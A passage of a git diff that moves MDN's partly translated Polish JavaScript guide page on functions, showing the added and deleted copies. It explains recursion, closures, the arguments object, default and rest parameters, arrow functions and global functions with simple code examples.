może być przekształcona w funkcję rekurencyjną i wywołanie tej funkcji:

+ +
function loop(x) {
+  if (x >= 10) // "x >= 10" is the exit condition (equivalent to "!(x < 10)")
+    return;
+  // do stuff
+  loop(x + 1); // rekurencyjne wywołanie
+}
+loop(0);
+
+ +

Niektóre algorytmy nie mogą być wykonane w zwykłej iteracji pętli. Dla przykładu, wydobycie wszystkich nodów ze struktury drzewiastej (np. dla DOM) jest łatwiej wykonać za pomocą rekurencji:

+ +
function walkTree(node) {
+  if (node == null) //
+    return;
+  // zrób coś z node
+  for (var i = 0; i < node.childNodes.length; i++) {
+    walkTree(node.childNodes[i]);
+  }
+}
+
+ +

Porównując do funkcji z pętlą loop, każde rekurencyjne wywołanie wykonuje wiele rekurencyjnych wowołań.

+ +

Każdy algorytm rekurencyjny można zmienić na nie rekurencyjny, lecz logika w tym drugim przypadku jest znacznie bardziej skomplikowana i wymaga użycia stosu. Faktycznie, sama rekurencja używa stosu: stosu funkcyjnego.

+ +

W poniższym przykładzie widać zachowanie przypominające użycie stosu:

+ +
function foo(i) {
+  if (i < 0)
+    return;
+  console.log('begin:' + i);
+  foo(i - 1);
+  console.log('end:' + i);
+}
+foo(3);
+
+// Output:
+
+// begin:3
+// begin:2
+// begin:1
+// begin:0
+// end:0
+// end:1
+// end:2
+// end:3
+ +

Funkcje zagnieżdżone i domknięcia

+ +

Możesz zagnieżdżać funkcję w funkcji. Zagnieżdżona (wewnętrzna) funkcja jest prywatna dla funkcji (zewnętrznej), która ją zawiera. W ten sposób tworzy się domknięcie (closure). Domknięcie jest wyrażeniem (zwykle funkcją), które może posiadać dodatkowe zmienne razem ze środowiskiem, które "wiąże" te zmienne (w ten sposób domknięcie jest zamykane).

+ +

Ponieważ funkcja zagnieżdżona jest równocześnie domknięciem, to oznacza, że może "dziedziczyć" wszystkie argumenty i zmienne funkcji, która ją zawiera. Innymi słowy, funkcja wewnętrzna zawiera zakres funkcji zewnętrznej.

+ +

Podsumowując:

+ + + + + +

Poniższy przykład obrazuje funkcje zagnieżdżone:

+ +
function addSquares(a,b) {
+  function square(x) {
+    return x * x;
+  }
+  return square(a) + square(b);
+}
+a = addSquares(2,3); // returns 13
+b = addSquares(3,4); // returns 25
+c = addSquares(4,5); // returns 41
+
+ +

Ponieważ funkcja wewnętrzna tworzy domknięcie, możesz wywołać funkcję zewnętrzną i podać argumenty zarówno dla zewnętrznej, jak i wewnętrznej funkcji:

+ +
function outside(x) {
+  function inside(y) {
+    return x + y;
+  }
+  return inside;
+}
+fn_inside = outside(3); // Think of it like: give me a function that adds 3 to whatever you give it
+result = fn_inside(5); // returns 8
+
+result1 = outside(3)(5); // returns 8
+
+ +

Zachowywanie zmiennych

+ +

Zwróć uwagę jak zmienna x jest zachowana, kiedy zwracana jest funkcja inside. Domknięcie musi zachować argumenty i zmienne we wszystkich zakresach, do których się odwołuje. Jako że każde wywołanie potencjalnie dostarcza różne wartości argumentów, przy każdym wywołaniu outside jest tworzone nowe domknięcie. Pamięć może być zwolniona, tylko jeśli zwracany inside nie jest więcej dostępny.

+ +

Ten sposób nie różni się od zachowywania referencji w innych obiektach, lecz jest mniej oczywisty, ponieważ referencje nie są tworzone bezpośrednio i nie można ich zweryfikować.

+ +

Wielokrotnie zagnieżdżone funkcje

+ +

Funkcje mogą być zagnieżdżone wielokrotnie, np. funkcja (A) zawierająca funkcję (B) zawierającą funkcję (C). Obydwie funkcje B i C tworzą domknięcia więc B ma dostęp do A a C ma dostęp do B. Dodatkowo, ponieważ C ma dostęp do B która ma dostęp do A, więc C również ma dostęp do A. W ten sposób domknięcia mogą zawierać wiele zakresów; zawierają rekurencyjne zakresy funkcji, które je zawierają. Efekt ten nazywa się wiązaniem zakresów (scope chaining). (Później zostanie wyjaśnione określenie "chaining".)

+ +

Rozważ poniższy przykład:

+ +
function A(x) {
+  function B(y) {
+    function C(z) {
+      console.log(x + y + z);
+    }
+    C(3);
+  }
+  B(2);
+}
+A(1); // logs 6 (1 + 2 + 3)
+
+ +

W tym przykładzie C ma dostęp do zmiennej y w B i x w A. Jest to możliwe, ponieważ:

+ +
    +
  1. B tworzy domknięcie zawierające A i dlatego B ma dostęp do argumentów i zmiennych A.
  2. +
  3. C tworzy domknięcie zawierające B.
  4. +
  5. Ponieważ domknięcie B zawiera A, to domknięcie C również zawiera AC ma dostęp do zmiennych i argumentów zarówno B jak i A. Innymi słowy C wiąże zakresy B i A.
  6. +
+ +

Jednak sytuacja odwrotna nie jest już prawdziwa. A nie ma dostępu do C, ponieważ A nie może dostać się do żadnego argumentu i zmiennej B, dla której C jest zmienną. Zatem C pozostaje prywatny (dostępny) tylko dla B.

+ +

Konflikty nazw

+ +

Gdy dwa argumenty lub zmienne w zakresach danego zamknięcia mają tę samą nazwę, wtedy występuje konflikt nazw. Czym bardziej wewnętrzny zakres, tym większe pierwszeństwo, więc najbardziej wewnętrzny zakres ma najwyższy priorytet, a najbardziej zewnętrzny zakres ma najniższy. Sytuacja ta, określana jest wiązaniem zakresów. Pierwszy w łańcuchu to najbardziej wewnętrzny zakres, a ostatni to najbardziej zewnętrzny. Rozważ następujący przykład:

+ +
function outside() {
+  var x = 10;
+  function inside(x) {
+    return x;
+  }
+  return inside;
+}
+result = outside()(20); // returns 20 instead of 10
+
+ +

The name conflict happens at the statement return x and is between inside's parameter x and outside's variable x. The scope chain here is {inside, outside, global object}. Therefore inside's x takes precedences over outside's x, and 20 (inside's x) is returned instead of 10 (outside's x).

+ +

Closures

+ +

Closures are one of the most powerful features of JavaScript. JavaScript allows for the nesting of functions and grants the inner function full access to all the variables and functions defined inside the outer function (and all other variables and functions that the outer function has access to). However, the outer function does not have access to the variables and functions defined inside the inner function. This provides a sort of security for the variables of the inner function. Also, since the inner function has access to the scope of the outer function, the variables and functions defined in the outer function will live longer than the outer function itself, if the inner function manages to survive beyond the life of the outer function. A closure is created when the inner function is somehow made available to any scope outside the outer function.

+ +
var pet = function(name) {   // The outer function defines a variable called "name"
+  var getName = function() {
+    return name;             // The inner function has access to the "name" variable of the outer function
+  }
+  return getName;            // Return the inner function, thereby exposing it to outer scopes
+},
+myPet = pet("Vivie");
+
+myPet();                     // Returns "Vivie"
+
+ +

It can be much more complex than the code above. An object containing methods for manipulating the inner variables of the outer function can be returned.

+ +
var createPet = function(name) {
+  var sex;
+
+  return {
+    setName: function(newName) {
+      name = newName;
+    },
+
+    getName: function() {
+      return name;
+    },
+
+    getSex: function() {
+      return sex;
+    },
+
+    setSex: function(newSex) {
+      if(typeof newSex == "string" && (newSex.toLowerCase() == "male" || newSex.toLowerCase() == "female")) {
+        sex = newSex;
+      }
+    }
+  }
+}
+
+var pet = createPet("Vivie");
+pet.getName();                  // Vivie
+
+pet.setName("Oliver");
+pet.setSex("male");
+pet.getSex();                   // male
+pet.getName();                  // Oliver
+
+ +

In the code above, the name variable of the outer function is accessible to the inner functions, and there is no other way to access the inner variables except through the inner functions. The inner variables of the inner function act as safe stores for the inner functions. They hold "persistent", yet secure, data for the inner functions to work with. The functions do not even have to be assigned to a variable, or have a name.

+ +
var getCode = (function(){
+  var secureCode = "0]Eal(eh&2";    // A code we do not want outsiders to be able to modify...
+
+  return function () {
+    return secureCode;
+  };
+})();
+
+getCode();    // Returns the secureCode
+
+ +

There are, however, a number of pitfalls to watch out for when using closures. If an enclosed function defines a variable with the same name as the name of a variable in the outer scope, there is no way to refer to the variable in the outer scope again.

+ +
var createPet = function(name) {  // Outer function defines a variable called "name"
+  return {
+    setName: function(name) {    // Enclosed function also defines a variable called "name"
+      name = name;               // ??? How do we access the "name" defined by the outer function ???
+    }
+  }
+}
+
+ +

The magical this variable is very tricky in closures. They have to be used carefully, as what this refers to depends completely on where the function was called, rather than where it was defined.

+ +

Using the arguments object

+ +

The arguments of a function are maintained in an array-like object. Within a function, you can address the arguments passed to it as follows:

+ +
arguments[i]
+
+ +

where i is the ordinal number of the argument, starting at zero. So, the first argument passed to a function would be arguments[0]. The total number of arguments is indicated by arguments.length.

+ +

Using the arguments object, you can call a function with more arguments than it is formally declared to accept. This is often useful if you don't know in advance how many arguments will be passed to the function. You can use arguments.length to determine the number of arguments actually passed to the function, and then access each argument using the arguments object.

+ +

For example, consider a function that concatenates several strings. The only formal argument for the function is a string that specifies the characters that separate the items to concatenate. The function is defined as follows:

+ +
function myConcat(separator) {
+   var result = "", // initialize list
+       i;
+   // iterate through arguments
+   for (i = 1; i < arguments.length; i++) {
+      result += arguments[i] + separator;
+   }
+   return result;
+}
+
+ +

You can pass any number of arguments to this function, and it concatenates each argument into a string "list":

+ +
// returns "red, orange, blue, "
+myConcat(", ", "red", "orange", "blue");
+
+// returns "elephant; giraffe; lion; cheetah; "
+myConcat("; ", "elephant", "giraffe", "lion", "cheetah");
+
+// returns "sage. basil. oregano. pepper. parsley. "
+myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
+
+ +
+

Note: The arguments variable is "array-like", but not an array. It is array-like in that is has a numbered index and a length property. However, it does not possess all of the array-manipulation methods.

+
+ +

See the {{jsxref("Function")}} object in the JavaScript reference for more information.

+ +

Function parameters

+ +

Starting with ECMAScript 6, there are two new kinds of parameters: default parameters and rest parameters.

+ +

Default parameters

+ +

In JavaScript, parameters of functions default to undefined. However, in some situations it might be useful to set a different default value. This is where default parameters can help.

+ +

In the past, the general strategy for setting defaults was to test parameter values in the body of the function and assign a value if they are undefined. If in the following example, no value is provided for b in the call, its value would be undefined  when evaluating a*b and the call to multiple would have returned NaN. However, this is caught with the second line in this example:

+ +
function multiply(a, b) {
+  b = typeof b !== 'undefined' ?  b : 1;
+
+  return a*b;
+}
+
+multiply(5); // 5
+
+ +

With default parameters, the check in the function body is no longer necessary. Now, you can simply put 1 as the default value for b in the function head:

+ +
function multiply(a, b = 1) {
+  return a*b;
+}
+
+multiply(5); // 5
+ +

Fore more details, see default parameters in the reference.

+ +

Rest parameters

+ +

The rest parameter syntax allows to represent an indefinite number of arguments as an array. In the example, we use the rest parameters to collect arguments from the second one to the end. We then multiply them by the first one. This example is using an arrow function, which is introduced in the next section.

+ +
function multiply(multiplier, ...theArgs) {
+  return theArgs.map(x => multiplier * x);
+}
+
+var arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]
+ +

Arrow functions

+ +

An arrow function expression (also known as fat arrow function) has a shorter syntax compared to function expressions and lexically binds the this value. Arrow functions are always anonymous. See also this hacks.mozilla.org blog post: "ES6 In Depth: Arrow functions".

+ +

Two factors influenced the introduction of arrow functions: shorter functions and lexical this.

+ +

Shorter functions

+ +

In some functional patterns, shorter functions are welcome. Compare:

+ +
var a = [
+  "Hydrogen",
+  "Helium",
+  "Lithium",
+  "Beryl­lium"
+];
+
+var a2 = a.map(function(s){ return s.length });
+
+var a3 = a.map( s => s.length );
+ +

Lexical this

+ +

Until arrow functions, every new function defined its own this value (a new object in case of a constructor, undefined in strict mode function calls, the context object if the function is called as an "object method", etc.). This proved to be annoying with an object-oriented style of programming.

+ +
function Person() {
+  // The Person() constructor defines `this` as itself.
+  this.age = 0;
+
+  setInterval(function growUp() {
+    // In nonstrict mode, the growUp() function defines `this`
+    // as the global object, which is different from the `this`
+    // defined by the Person() constructor.
+    this.age++;
+  }, 1000);
+}
+
+var p = new Person();
+ +

In ECMAScript 3/5, this issue was fixed by assigning the value in this to a variable that could be closed over.

+ +
function Person() {
+  var self = this; // Some choose `that` instead of `self`.
+                   // Choose one and be consistent.
+  self.age = 0;
+
+  setInterval(function growUp() {
+    // The callback refers to the `self` variable of which
+    // the value is the expected object.
+    self.age++;
+  }, 1000);
+}
+ +

Predefined functions

+ +

JavaScript has several top-level, built-in functions:

+ +
+
{{jsxref("Global_Objects/eval", "eval()")}}
+
+

The eval() method evaluates JavaScript code represented as a string.

+
+
{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}
+
+

The uneval() method creates a string representation of the source code of an {{jsxref("Object")}}.

+
+
{{jsxref("Global_Objects/isFinite", "isFinite()")}}
+
+

The global isFinite() function determines whether the passed value is a finite number. If needed, the parameter is first converted to a number.

+
+
{{jsxref("Global_Objects/isNaN", "isNaN()")}}
+
+

The isNaN() function determines whether a value is {{jsxref("Global_Objects/NaN", "NaN")}} or not. Note: coercion inside the isNaN function has interesting rules; you may alternatively want to use {{jsxref("Number.isNaN()")}}, as defined in ECMAScript 6, or you can use typeof to determine if the value is Not-A-Number.

+
+
{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}
+
+

The parseFloat() function parses a string argument and returns a floating point number.

+
+
{{jsxref("Global_Objects/parseInt", "parseInt()")}}
+
+

The parseInt() function parses a string argument and returns an integer of the specified radix (the base in mathematical numeral systems).

+
+
{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}
+
+

The decodeURI() function decodes a Uniform Resource Identifier (URI) previously created by {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or by a similar routine.

+
+
{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}
+
+

The decodeURIComponent() method decodes a Uniform Resource Identifier (URI) component previously created by {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} or by a similar routine.

+
+
{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}
+
+

The encodeURI() method encodes a Uniform Resource Identifier (URI) by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).

+
+
{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}
+
+

The encodeURIComponent() method encodes a Uniform Resource Identifier (URI) component by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).

+
+
{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}
+
+

The deprecated escape() method computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} instead.

+
+
{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}
+
+

The deprecated unescape() method computes a new string in which hexadecimal escape sequences are replaced with the character that it represents. The escape sequences might be introduced by a function like {{jsxref("Global_Objects/escape", "escape")}}. Because unescape() is deprecated, use {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} instead.

+
+
+ +

{{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}

diff --git a/files/pl/web/javascript/guide/funkcje/index.html b/files/pl/web/javascript/guide/funkcje/index.html deleted file mode 100644 index d9e66793ea..0000000000 --- a/files/pl/web/javascript/guide/funkcje/index.html +++ /dev/null @@ -1,642 +0,0 @@ ---- -title: Funkcje -slug: Web/JavaScript/Guide/Funkcje -translation_of: Web/JavaScript/Guide/Functions ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}
- -

Funkcje są jednym z podstawowych 'klocków' JavaScriptu. Funkcja jest zbiorem wyrażeń, które wykonują jakieś zadanie, bądź obliczają wartość. Aby użyć funkcji, musisz najpierw zdefiniować ją gdzieś w zasięgu, z którego zostanie wywołana.

- -

See also the exhaustive reference chapter about JavaScript functions to get to know the details.

- -

Definiowanie funkcji

- -

Deklaracje funkcji

- -

Definicja funkcji (zwana też deklaracją funkcji, lub instrukcją funkcji) składa się ze słowa kluczowego function oraz:

- - - -

Poniższy przykład przedstawia definicję funkcji obliczającej kwadrat liczby:

- -
function square(number) {
-  return number * number;
-}
-
- -

Funkcja square przyjmuje jeden argument, nazwany number. Funkcja składa się z jednej instrukcji, która zwraca argument (number) pomnożony przez siebie. Instrukcja return oznacza wartość zwracaną przez funkcję.

- -
return number * number;
-
- -

Podstawowe parametry (takie jak liczby) są przekazywane do funkcji przez wartość; wartośc przekazywana jest do funkcji, ale jeśli funkcja zmienia wartość, ta zmiana nie jest rejestrowana globalnie, lub w funkcji wywołującej.

- -

Jeśli przekażesz obiekt (n.p. {{jsxref("Array")}}) jako parametr a funkcja zmieni właściwości obiektu, zmiana ta jest rejestrowana poza funkcją, tak jak jest to pokazane w przykładzie:

- -
function myFunc(theObject) {
-  theObject.make = "Toyota";
-}
-
-var mycar = {make: "Honda", model: "Accord", year: 1998};
-var x, y;
-
-x = mycar.make; // x dostaje wartość "Honda"
-
-myFunc(mycar);
-y = mycar.make; // y dodaje wartość "Toyota"
-                // (właściwość make została zmieniona przez funkcję)
-
- -
-

Note: Przypisanie nowego obiektu do parametru nie będzie miało żadnego skutku poza funkcją, ponieważ jest to zmiana wartości parametru, a nie zmiana jednej z właściwości obiektu:

-
- -
function myFunc(theObject) {
-  theObject = {make: "Ford", model: "Focus", year: 2006};
-}
-
-var mycar = {make: "Honda", model: "Accord", year: 1998};
-var x, y;
-
-x = mycar.make; // x dostaje wartość "Honda"
-
-myFunc(mycar);
-y = mycar.make; // y wciąż dostaje wartość "Honda" 
- -

Wyrażenia funkcyjne

- -

Podczas gdy powyższa deklaracja jest syntaktycznie wyrażeniem, funkcje mogą być utworzone także przez wyrażenie funkcyjne. Taka funkcja może być anonimowa; nie posiadająca nazwy. Dla przykładu, funkcja square może być zdefiniowana następująco:

- -
var square = function(number) { return number * number };
-var x = square(4) // x gets the value 16
- -

Deklaracja funkcji przy  pomocy wyrażenia funkcyjnego nie oznacza, że funkcja musi być anonimowa. Nadal może ona posiadać swoją nazwę, która może przydać się do wywołania samej siebie czy do identyfikacji w śladzie stosu podczas debugowania kodu. 

- -
var factorial = function fac(n) { return n<2 ? 1 : n*fac(n-1) };
-
-console.log(factorial(3));
-
- -

Function expressions are convenient when passing a function as an argument to another function. The following example shows a map function being defined and then called with an expression function as its first parameter:

- -
function map(f,a) {
-  var result = [], // Create a new Array
-      i;
-  for (i = 0; i != a.length; i++)
-    result[i] = f(a[i]);
-  return result;
-}
-
- -

Poniższy kod:

- -
map(function(x) {return x * x * x}, [0, 1, 2, 5, 10]);
-
- -

zwraca [0, 1, 8, 125, 1000].

- -

In JavaScript, a function can be defined based on a condition. For example, the following function definition defines myFunc only if num equals 0:

- -
var myFunc;
-if (num == 0){
-  myFunc = function(theObject) {
-    theObject.make = "Toyota"
-  }
-}
- -

In addition to defining functions as described here, you can also use the {{jsxref("Function")}} constructor to create functions from a string at runtime, much like {{jsxref("eval()")}}.

- -

A method is a function that is a property of an object. Read more about objects and methods in Working with objects.

- -

Wywoływanie funkcji

- -

Definicja fukcji nie wykonuje jej. Definiowanie funkcji nazywa fukncję i określa co robić kiedy fukcja zostanie wywołana. Wywołanie funkcji inicjiuje wykonanie określonych akcji wraz z wskazanymi parametrami. Na przykład, jeśli zdefiniujesz funkcję square, możesz ją wywołać w następujący sposób:

- -
square(5);
-
- -

Powyższy kod wywołuje funkcję dla argumentu 5. Funkcja wykonuje się i zwraca wartość 25.

- -

Funkcja musi znajdować się w obecnym zakresie by mogła zostać wywołana. Jej wywołanie może jednak znajdować się powyżej jej deklaracji. Mamy wtedy do czynienia ze zjawiskiem hoistingu. 

- -
console.log(square(5));
-/* ... */
-function square(n) { return n*n }
-
- -

Zakres funkcji jest funkcją w której została ona zadeklarowana co oznacza, że deklarując funkcję na najwyższym poziomie programu, znajduje się ona w zakresie globalnym.

- -
-

Notka: Zjawisko hoistingu funkcji zachodzi wyłącznie w przypadku powyższego sposobu deklaracji (function funcName(){}). Poniższy kod nie zadziała, w tym przypadku funkcja została zadeklarowana za pomocą wyrażenia.

-
- -
console.log(square(5));
-square = function (n) {
-  return n * n;
-}
-
- -

Argumenty funkcji mogą być nie tylko łańcuchami lub liczbami.Funkcja show_props() (zdefiniowana w Working with objects) jest przykładem funkcji przyjmującej objekt jako argument.

- -

Funkcja może wywoływać samą siebie. Na przykład, poniżej mamy funkcję rekurencyjnie obliczającą silnię.

- -
function factorial(n){
-  if ((n == 0) || (n == 1))
-    return 1;
-  else
-    return (n * factorial(n - 1));
-}
-
- -

Poniżej znajdują się wyniki funkcji dla liczb z zakresu 1-5.

- -
var a, b, c, d, e;
-a = factorial(1); // a gets the value 1
-b = factorial(2); // b gets the value 2
-c = factorial(3); // c gets the value 6
-d = factorial(4); // d gets the value 24
-e = factorial(5); // e gets the value 120
-
- -

Istnieją inne sposoby wywołania funkcji. Często zdarzają się sytuacje gdy funkcja musi zostać wywołana dynamicznie, przyjmuje różna liczbę argumentów lub zmienia sie kontekst jej wywołania. Okazuje się, że funkcje są tak naprawdę obiektami, które posiadaja własne metody (sprawdź obiekt {{jsxref("Function")}}). Jednej z tych metod {{jsxref("Function.apply", "apply()")}} możemy użyć do zmiany kontekstu wywołania funkcji.

- -

Zakres funkcji

- -

Zmienne zdefiniowane wewnątrz funkcji nie są dostępne poza nią, ponieważ są zdefiniowane tylko w wewnętrznym zakresie funkcji. Sama funkcja ma dostęp do innych zmiennych i funkcji zdefiniowanych w tym samym zakresie, w którym została zdefiniowana. Innymi słowy, funkcja zdefiniowana w zakresie globalnym ma dostęp do wszystkich zmiennych zdefiniowanych w zakresie globalnym. Funkcja zdefiniowana w innej funkcji ma dostęp do wszystkich zmiennych zdefiniowanych w funkcji macierzystej oraz zmiennych, do których ma dostęp funkcja macierzysta.

- -
// Poniższe zmienne są zdefiniowane z zakresie globalnym
-var num1 = 20,
-    num2 = 3,
-    name = "Chamahk";
-
-// Ta funkcja jest zdefiniowana w zakresie globalnym
-function multiply() {
-  return num1 * num2;
-}
-
-multiply(); // Zwraca 60
-
-// Przykład funkcji zagnieżdżonej
-function getScore () {
-  var num1 = 2,
-      num2 = 3;
-
-  function add() {
-    return name + " scored " + (num1 + num2);
-  }
-
-  return add();
-}
-
-getScore(); // Zwraca "Chamahk scored 5"
-
- -

Zakres i stos funkcji

- -

Rekurencja

- -

Funkcja może się odwoływać i wywoływać samą siebie. Istnieją trzy sposoby odwoływania się funkcji do siebie:

- -
    -
  1. przez nazwę funkcji
  2. -
  3. arguments.callee
  4. -
  5. przez zmienną dostępna w zakresie, która odwołuje się do funkcji
  6. -
- -

Na przykład, rozważ następującą definicję funkcji:

- -
var foo = function bar() {
-   // statements go here
-};
-
- -

Within the function body, the following are all equivalent:

- -
    -
  1. bar()
  2. -
  3. arguments.callee()
  4. -
  5. foo()
  6. -
- -

Funkcja, która wywołuje samą siebie to funkcja rekurencyjna. W pewnym sensie rekurencja jest analogiczna z pętlą. Zarówno funkcja rekurencyjna, jak i pętla wykonują ten sam kod wiele razy, potrzebują warunku końca (aby uniknąć wiecznej pętli lub bardziej w tym przypadku wiecznej rekurencji). Dla przykładu następująca pętla:

- -
var x = 0;
-while (x < 10) { // "x < 10" is the loop condition
-   // zrób jakieś rzeczy
-   x++;
-}
-
- -

może być przekształcona w funkcję rekurencyjną i wywołanie tej funkcji:

- -
function loop(x) {
-  if (x >= 10) // "x >= 10" is the exit condition (equivalent to "!(x < 10)")
-    return;
-  // do stuff
-  loop(x + 1); // rekurencyjne wywołanie
-}
-loop(0);
-
- -

Niektóre algorytmy nie mogą być wykonane w zwykłej iteracji pętli. Dla przykładu, wydobycie wszystkich nodów ze struktury drzewiastej (np. dla DOM) jest łatwiej wykonać za pomocą rekurencji:

- -
function walkTree(node) {
-  if (node == null) //
-    return;
-  // zrób coś z node
-  for (var i = 0; i < node.childNodes.length; i++) {
-    walkTree(node.childNodes[i]);
-  }
-}
-
- -

Porównując do funkcji z pętlą loop, każde rekurencyjne wywołanie wykonuje wiele rekurencyjnych wowołań.

- -

Każdy algorytm rekurencyjny można zmienić na nie rekurencyjny, lecz logika w tym drugim przypadku jest znacznie bardziej skomplikowana i wymaga użycia stosu. Faktycznie, sama rekurencja używa stosu: stosu funkcyjnego.

- -

W poniższym przykładzie widać zachowanie przypominające użycie stosu:

- -
function foo(i) {
-  if (i < 0)
-    return;
-  console.log('begin:' + i);
-  foo(i - 1);
-  console.log('end:' + i);
-}
-foo(3);
-
-// Output:
-
-// begin:3
-// begin:2
-// begin:1
-// begin:0
-// end:0
-// end:1
-// end:2
-// end:3
- -

Funkcje zagnieżdżone i domknięcia

- -

Możesz zagnieżdżać funkcję w funkcji. Zagnieżdżona (wewnętrzna) funkcja jest prywatna dla funkcji (zewnętrznej), która ją zawiera. W ten sposób tworzy się domknięcie (closure). Domknięcie jest wyrażeniem (zwykle funkcją), które może posiadać dodatkowe zmienne razem ze środowiskiem, które "wiąże" te zmienne (w ten sposób domknięcie jest zamykane).

- -

Ponieważ funkcja zagnieżdżona jest równocześnie domknięciem, to oznacza, że może "dziedziczyć" wszystkie argumenty i zmienne funkcji, która ją zawiera. Innymi słowy, funkcja wewnętrzna zawiera zakres funkcji zewnętrznej.

- -

Podsumowując:

- - - - - -

Poniższy przykład obrazuje funkcje zagnieżdżone:

- -
function addSquares(a,b) {
-  function square(x) {
-    return x * x;
-  }
-  return square(a) + square(b);
-}
-a = addSquares(2,3); // returns 13
-b = addSquares(3,4); // returns 25
-c = addSquares(4,5); // returns 41
-
- -

Ponieważ funkcja wewnętrzna tworzy domknięcie, możesz wywołać funkcję zewnętrzną i podać argumenty zarówno dla zewnętrznej, jak i wewnętrznej funkcji:

- -
function outside(x) {
-  function inside(y) {
-    return x + y;
-  }
-  return inside;
-}
-fn_inside = outside(3); // Think of it like: give me a function that adds 3 to whatever you give it
-result = fn_inside(5); // returns 8
-
-result1 = outside(3)(5); // returns 8
-
- -

Zachowywanie zmiennych

- -

Zwróć uwagę jak zmienna x jest zachowana, kiedy zwracana jest funkcja inside. Domknięcie musi zachować argumenty i zmienne we wszystkich zakresach, do których się odwołuje. Jako że każde wywołanie potencjalnie dostarcza różne wartości argumentów, przy każdym wywołaniu outside jest tworzone nowe domknięcie. Pamięć może być zwolniona, tylko jeśli zwracany inside nie jest więcej dostępny.

- -

Ten sposób nie różni się od zachowywania referencji w innych obiektach, lecz jest mniej oczywisty, ponieważ referencje nie są tworzone bezpośrednio i nie można ich zweryfikować.

- -

Wielokrotnie zagnieżdżone funkcje

- -

Funkcje mogą być zagnieżdżone wielokrotnie, np. funkcja (A) zawierająca funkcję (B) zawierającą funkcję (C). Obydwie funkcje B i C tworzą domknięcia więc B ma dostęp do A a C ma dostęp do B. Dodatkowo, ponieważ C ma dostęp do B która ma dostęp do A, więc C również ma dostęp do A. W ten sposób domknięcia mogą zawierać wiele zakresów; zawierają rekurencyjne zakresy funkcji, które je zawierają. Efekt ten nazywa się wiązaniem zakresów (scope chaining). (Później zostanie wyjaśnione określenie "chaining".)

- -

Rozważ poniższy przykład:

- -
function A(x) {
-  function B(y) {
-    function C(z) {
-      console.log(x + y + z);
-    }
-    C(3);
-  }
-  B(2);
-}
-A(1); // logs 6 (1 + 2 + 3)
-
- -

W tym przykładzie C ma dostęp do zmiennej y w B i x w A. Jest to możliwe, ponieważ:

- -
    -
  1. B tworzy domknięcie zawierające A i dlatego B ma dostęp do argumentów i zmiennych A.
  2. -
  3. C tworzy domknięcie zawierające B.
  4. -
  5. Ponieważ domknięcie B zawiera A, to domknięcie C również zawiera AC ma dostęp do zmiennych i argumentów zarówno B jak i A. Innymi słowy C wiąże zakresy B i A.
  6. -
- -

Jednak sytuacja odwrotna nie jest już prawdziwa. A nie ma dostępu do C, ponieważ A nie może dostać się do żadnego argumentu i zmiennej B, dla której C jest zmienną. Zatem C pozostaje prywatny (dostępny) tylko dla B.

- -

Konflikty nazw

- -

Gdy dwa argumenty lub zmienne w zakresach danego zamknięcia mają tę samą nazwę, wtedy występuje konflikt nazw. Czym bardziej wewnętrzny zakres, tym większe pierwszeństwo, więc najbardziej wewnętrzny zakres ma najwyższy priorytet, a najbardziej zewnętrzny zakres ma najniższy. Sytuacja ta, określana jest wiązaniem zakresów. Pierwszy w łańcuchu to najbardziej wewnętrzny zakres, a ostatni to najbardziej zewnętrzny. Rozważ następujący przykład:

- -
function outside() {
-  var x = 10;
-  function inside(x) {
-    return x;
-  }
-  return inside;
-}
-result = outside()(20); // returns 20 instead of 10
-
- -

The name conflict happens at the statement return x and is between inside's parameter x and outside's variable x. The scope chain here is {inside, outside, global object}. Therefore inside's x takes precedences over outside's x, and 20 (inside's x) is returned instead of 10 (outside's x).

- -

Closures

- -

Closures are one of the most powerful features of JavaScript. JavaScript allows for the nesting of functions and grants the inner function full access to all the variables and functions defined inside the outer function (and all other variables and functions that the outer function has access to). However, the outer function does not have access to the variables and functions defined inside the inner function. This provides a sort of security for the variables of the inner function. Also, since the inner function has access to the scope of the outer function, the variables and functions defined in the outer function will live longer than the outer function itself, if the inner function manages to survive beyond the life of the outer function. A closure is created when the inner function is somehow made available to any scope outside the outer function.

- -
var pet = function(name) {   // The outer function defines a variable called "name"
-  var getName = function() {
-    return name;             // The inner function has access to the "name" variable of the outer function
-  }
-  return getName;            // Return the inner function, thereby exposing it to outer scopes
-},
-myPet = pet("Vivie");
-
-myPet();                     // Returns "Vivie"
-
- -

It can be much more complex than the code above. An object containing methods for manipulating the inner variables of the outer function can be returned.

- -
var createPet = function(name) {
-  var sex;
-
-  return {
-    setName: function(newName) {
-      name = newName;
-    },
-
-    getName: function() {
-      return name;
-    },
-
-    getSex: function() {
-      return sex;
-    },
-
-    setSex: function(newSex) {
-      if(typeof newSex == "string" && (newSex.toLowerCase() == "male" || newSex.toLowerCase() == "female")) {
-        sex = newSex;
-      }
-    }
-  }
-}
-
-var pet = createPet("Vivie");
-pet.getName();                  // Vivie
-
-pet.setName("Oliver");
-pet.setSex("male");
-pet.getSex();                   // male
-pet.getName();                  // Oliver
-
- -

